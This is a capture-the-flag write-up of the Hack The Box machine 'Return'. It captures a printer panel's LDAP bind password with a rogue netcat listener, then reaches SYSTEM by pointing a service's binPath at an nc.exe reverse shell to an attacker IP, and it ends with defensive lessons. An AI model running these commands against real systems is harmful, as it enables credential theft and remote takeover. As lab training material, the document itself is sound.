



RETIRED MACHINE

Return

Machine Writeup · Hack The Box

4.3 ★

RATING

Easy

DIFFICULTY

Windows

OS

15,612

USER OWNS

14,108

SYSTEM OWNS

20

POINTS

MACHINE SYNOPSIS

Return is an Easy Windows Active Directory machine featuring a network printer administration panel that leaks domain credentials via a rogue LDAP server. Port 80 hosts the 'HTB Printer Admin Panel' running on Microsoft IIS/PHP. The settings page at /settings.php shows an LDAP configuration with the svc-printer username visible. Changing the Server Address to the attacker IP and starting a netcat listener on port 389 causes the printer to send its LDAP bind credentials in cleartext: svc-printer:1edFg43012!|. NetExec confirms the credentials are valid on both SMB and WinRM. evil-winrm grants the user flag. Enumeration reveals svc-printer is a member of the Server Operators group — a privileged Windows group that can start, stop, and reconfigure system services. sc.exe changes the VMTools service binPath to nc.exe with a reverse shell payload. Stopping and restarting the service executes the payload as NT AUTHORITY\SYSTEM.

CONTENTS

01 Reconnaissance & Web Discovery

02 HTB Printer Admin Panel — settings.php

03 Rogue LDAP Server — nc Port 389 → Credentials

04 svc-printer — WinRM Access & User Flag

05 Server Operators Group — Privilege Analysis

06 Service BinPath Hijack → NT AUTHORITY\SYSTEM

07 Lessons Learned



Martí Hervás
Penetration Tester · Hack The Box · 2026

01

Reconnaissance & Web Discovery

TTL 127 confirms Windows. Nmap reveals the standard AD DC port profile plus two notable extras: **port 80 (Microsoft IIS 10.0)** with the title 'HTB Printer Admin Panel', and the full AD stack. Domain is **return.local**, hostname **PRINTER**, Windows Server 2019 Build 17763. Clock-skew is 18 minutes — low enough that Kerberos still works without manual sync. SMB Guest access fails. WhatWeb on port 80 reveals PHP/7.4.13 — a web application managing printer settings.

NMAP — DC STACK + PORT 80 PRINTER PANEL

nmap — return.local PRINTER, port 80 'HTB Printer Admin Panel'

```
$ ping -c 1 10.129.95.241 # TTL 127 -> Windows

$ nmap -Pn -n --open -p- --min-rate 5000 10.129.95.241 -oG allPorts
[*] Open ports: 53,80,88,135,139,389,445,464,593,3268,3269,5985,9389,...

# Key services:
80/tcp    open  http      Microsoft IIS httpd 10.0
         Title: HTB Printer Admin Panel <- web management interface!
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
389/tcp    open  ldap       (Domain: return.local) <- LDAP port 389
445/tcp    open  smb        signing:True SMBv1:None
5985/tcp   open  http       Microsoft HTTPAPI 2.0 <- WinRM
|_clock-skew: 18m38s
Service Info: Host: PRINTER; OS: Windows Server 2019 Build 17763
```

WHATWEB + SMB GUEST CHECK

whatweb — PHP/7.4.13, IIS/10.0; SMB guest limited access

```
$ whatweb http://return.local
http://return.local [200 OK]
  HTTPServer[Microsoft-IIS/10.0]
  PHP[7.4.13]
  Title[HTB Printer Admin Panel]
  X-Powered-By[PHP/7.4.13]

# SMB Guest fails (no anonymous access):
$ nxc smb 10.129.95.241 -u 'guest' -p ''
SMB PRINTER [+] return.local\guest: <- auth OK but no shares readable

# /etc/hosts: 10.129.95.241 PRINTER.return.local return.local return
# -> Focus on the web application on port 80
```

02

HTB Printer Admin Panel — settings.php

The web application at <http://return.local> is a network printer administration panel. Most navigation links are non-functional, but `/settings.php` is accessible and reveals the printer's LDAP configuration. The page shows a form with: username (`svc-printer`), Server Address (`printer.return.local`), Server Port (`389`), and a masked password field. The password field is sent as a POST request when the form is submitted — the printer authenticates to its configured LDAP server to verify the credentials. The attack: change the Server Address to the attacker IP, start a netcat listener on port 389, and submit the form to receive the plaintext LDAP bind credentials.

settings.php — LDAP CONFIGURATION FORM

settings.php — svc-printer username + LDAP server configurable

```
# Navigate to: http://return.local/settings.php

# Form fields visible:
Username:      svc-printer      <- domain service account!
Server Address: printer.return.local <- we will change this to our IP
Server Port:   389              <- LDAP port (cleartext)
Password:      *****        <- masked, sent on form submit

# When Update is clicked, the printer makes an LDAP BIND request to
# the configured Server Address:Port with its stored credentials.

# Attack plan:
# 1. Start nc listener on port 389 (our machine)
# 2. Change Server Address to our tun0 IP
# 3. Click Update -> printer sends LDAP BIND with plaintext password
```

NOTE

This is the classic 'Printer LDAP Redirect' attack (documented in HackTricks and multiple pentest blogs). Network printers often authenticate via LDAP Simple Bind (cleartext) rather than SASL/Kerberos. If the LDAP server address is user-configurable, an attacker can point it to their own listener. The printer sends its stored credentials to whatever server is configured — no validation, no certificate checking. Always use LDAPS (port 636) with certificate validation for printer LDAP authentication.

03

Rogue LDAP Server — nc Port 389 → svc-printer Credentials

A netcat listener on port 389 acts as the rogue LDAP server. The printer's Server Address is changed from printer.return.local to the attacker's tun0 IP. Clicking **Update** triggers an immediate LDAP BIND request from the printer to the attacker's listener. The raw LDAP data contains the service account credentials in cleartext: **return\svc-printer : 1edFg43012!!**. This is the actual domain account password stored by the printer — no hash cracking required.

STEP 1 — START nc LISTENER ON PORT 389

nc -nvlp 389 — rogue LDAP listener started on attacker

```
# Start rogue LDAP listener BEFORE clicking Update:
$ sudo nc -nvlp 389
listening on [any] 389 ...

# In browser: go to http://return.local/settings.php
# Change 'Server Address' from 'printer.return.local' to '10.10.14.91'
# Click 'Update'
```

STEP 2 — LDAP BIND CREDENTIALS RECEIVED

nc — LDAP BIND: return\svc-printer:1edFg43012!! in cleartext

```
# nc captures the incoming LDAP BIND request immediately:
connect to [10.10.14.91] from (UNKNOWN) [10.129.95.241] 49766
0
`■d
return\svc-printer      <- domain\username in cleartext!
1edFg43012!!           <- password in cleartext!

# [LDAP] Cleartext Client   : 10.129.95.241
# [LDAP] Cleartext Username: return\svc-printer
# [LDAP] Cleartext Password: 1edFg43012!!

# Credentials captured: svc-printer : 1edFg43012!!
```

CREDENTIAL VALIDATION — SMB + WINRM

netexec — svc-printer SMB valid + WinRM Pwn3d!

```
$ nxc smb 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!'
SMB PRINTER [*] Windows 10 / Server 2019 Build 17763 x64
SMB PRINTER [+] return.local\svc-printer:1edFg43012!!

# Enumerate users:
$ nxc smb 10.129.95.241 -u svc-printer -p '1edFg43012!!' --users
SMB PRINTER Administrator (2021-07-16) Built-in account
SMB PRINTER Guest (never)
SMB PRINTER krbtgt (2021-05-20)
SMB PRINTER svc-printer (2021-05-26) Service Account for Printer

$ nxc winrm 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!'
WINRM PRINTER [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)
```

04

svc-printer — WinRM Access & User Flag

evil-winrm connects as **return\svc-printer**. The user flag is on svc-printer's Desktop. Privilege enumeration with `whoami /all` reveals the critical group membership: **Server Operators**. This Windows built-in group grants the ability to start, stop, pause, and configure system services — a direct path to SYSTEM via service binary hijacking.

EVIL-WINRM — SHELL + USER FLAG

evil-winrm — svc-printer shell, user flag obtained

```
$ evil-winrm -i 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!'

*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami
return\svc-printer

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> type user.txt
e1ee7df82dbc21f4c69ab6ed*****
```

WHOAMI /ALL — SERVER OPERATORS GROUP MEMBERSHIP

whoami /all — Server Operators group + SeBackupPrivilege

```
*Evil-WinRM* PS > whoami /all

USER INFORMATION: return\svc-printer

GROUP INFORMATION:
  return\Domain Users
  return\Print Operators
  return\Server Operators    <- CRITICAL! Can manage services
  BUILTIN\Server Operators   <- Built-in group membership
  BUILTIN\Print Operators
  BUILTIN\Remote Management Users

PRIVILEGES:
  SeBackupPrivilege          Enabled
  SeRestorePrivilege         Enabled
  SeShutdownPrivilege        Enabled
  SeRemoteShutdownPrivilege  Enabled
  SeIncreaseWorkingSetPrivilege Enabled

# Server Operators -> can change service BinPath -> SYSTEM!
```

05

Server Operators Group — Privilege Analysis

The **Server Operators** built-in group is one of the most dangerous Windows groups after Domain Admins and Enterprise Admins. Members can: start and stop services, change service binary paths (binPath), create/delete shares, lock and unlock the server, and perform backup/restore. The key privilege for this attack is **SERVICE_CHANGE_CONFIG** — via `sc.exe config`, the service binary path can be replaced with any executable, including a reverse shell. When the service is (re)started, it executes as the service account — most system services run as **SYSTEM**.

ENUMERATE RUNNING SERVICES — FIND TARGET

services — VMTools running as SYSTEM, target for binPath hijack

```
# List services that are currently running:
*Evil-WinRM* PS > services

# Interesting services running as LocalSystem:
VMTools      VMware Tools      Running LocalSystem
vss          Volume Shadow Copy Stopped LocalSystem
EventLog     Windows Event Log Running  LocalSystem

# VMTools is a good target - runs as SYSTEM, can be stopped/started
# Plan: change VMTools binPath to nc.exe reverse shell
# Upload nc.exe first, then change binPath and restart service
```

NOTE

Server Operators was designed for local server administration delegation before modern privileged access approaches. Any member can use `sc.exe config` to change a service's binary path without requiring Administrative privileges. Services running as LocalSystem (SYSTEM) will execute the new binary as SYSTEM. Audit Server Operators membership regularly — it should contain zero accounts in properly hardened environments.

06

Service BinPath Hijack → NT AUTHORITY\SYSTEM

The attack uses three `sc.exe` commands: (1) **config** to change VMTools' binPath to a `nc.exe` reverse shell command, (2) **stop** to halt the service, and (3) **start** to restart it and trigger execution. `nc.exe` is uploaded to the `svc-printer` Desktop via `evil-winrm`'s `upload` command. A netcat listener on port 443 receives the connection as **NT AUTHORITY\SYSTEM**. The root flag is on the Administrator Desktop.

STEP 1 — UPLOAD nc.exe TO TARGET

evil-winrm upload — nc.exe transferred to svc-printer Desktop

```
# Upload nc.exe via evil-winrm:
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> upload nc.exe
Info: Uploading nc.exe to C:\Users\svc-printer\Desktop\nc.exe
Info: Upload successful!

# Start listener on attacker:
$ nc -nvlp 443
listening on [any] 443 ...
```

STEP 2 — sc.exe CHANGE VMTools BINPATH

sc.exe config/stop/start — VMTools binPath → nc.exe reverse shell

```
# Change VMTools service binary to nc.exe reverse shell:
*Evil-WinRM* PS C:\programdata> sc.exe config VMTools \
    binPath="C:\Users\svc-printer\Desktop\nc.exe -e cmd 10.10.14.91 443"

[SC] ChangeServiceConfig SUCCESS

# Stop the service:
*Evil-WinRM* PS C:\programdata> sc.exe stop VMTools
SERVICE_NAME: VMTools
    TYPE: 10  WIN32_OWN_PROCESS
    STATE: 1  STOPPED

# Start the service (triggers nc.exe execution as SYSTEM):
*Evil-WinRM* PS C:\programdata> sc.exe start VMTools
```

SYSTEM SHELL + ROOT FLAG

SYSTEM shell received — root flag on Administrator Desktop

```
# nc listener receives connection from SYSTEM:
$ nc -nvlp 443
connect to [10.10.14.91] from (UNKNOWN) [10.129.95.241] 49514
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
15f82e011e9776c2405d2a61*****

# MACHINE COMPROMISED — NT AUTHORITY\SYSTEM via Server Operators + sc.exe
```


NOTE

sc.exe config requires SERVICE_CHANGE_CONFIG right — granted to Server Operators. The service must be stopped before the new binPath takes effect on restart. Since VMTools runs as LocalSystem, the nc.exe process inherits SYSTEM context. Note: the sc.exe start command may time out (the shell spawns before the service reports as started), so the WinRM session may show an error — but the listener will have already received the SYSTEM connection.

07**Lessons Learned****01 Printer Admin Panels That Allow LDAP Server Changes Are Credential Theft Vectors**

The HTB Printer Admin Panel allowed changing the LDAP server address without authentication or validation. When the printer tried to authenticate to the attacker's rogue server, it sent its stored credentials in cleartext (LDAP Simple Bind). Printer management interfaces must require authentication, restrict LDAP server configuration to IT administrators only, and mandate LDAPS (port 636) with certificate verification to prevent credential capture.

02 LDAP Simple Bind Transmits Credentials in Cleartext

The printer used unencrypted LDAP (port 389) with Simple Bind authentication — the password is transmitted as plaintext on the network. Any attacker with network access (or a rogue server) can capture it. Always enforce LDAPS (port 636) or LDAP SASL with Kerberos for Active Directory authentication. Disable LDAP Simple Bind on domain controllers where possible.

03 Service Account Credentials Must Never Be Stored in Changeable Web Forms

The printer stored svc-printer's domain password persistently and used it whenever the settings form was submitted. The domain service account password was effectively accessible to anyone who could redirect the LDAP endpoint. Use dedicated non-privileged service accounts for printer LDAP, rotate passwords regularly, and use Managed Service Accounts (MSA/gMSA) where possible to eliminate the need for manually managed service account passwords.

04 Server Operators Group Membership Grants an Unobvious Path to SYSTEM

svc-printer's Server Operators membership allowed modifying service binary paths — a direct path to SYSTEM without any other privileges. Server Operators is a highly privileged built-in group that is frequently overlooked during access control reviews. It should contain zero accounts in production environments. Use BloodHound to regularly audit group memberships and identify accounts with dangerous built-in group membership.

05 Writable Service BinPath Is Equivalent to Code Execution as SYSTEM

sc.exe config with SERVICE_CHANGE_CONFIG permission allows replacing a service binary with any command. Services running as LocalSystem execute the replacement as NT AUTHORITY\SYSTEM. Monitor EventID 7040 (service configuration changes) and 4697 (service installed) in Windows Event Log. Implement application whitelisting to prevent unauthorized binaries from executing as service processes.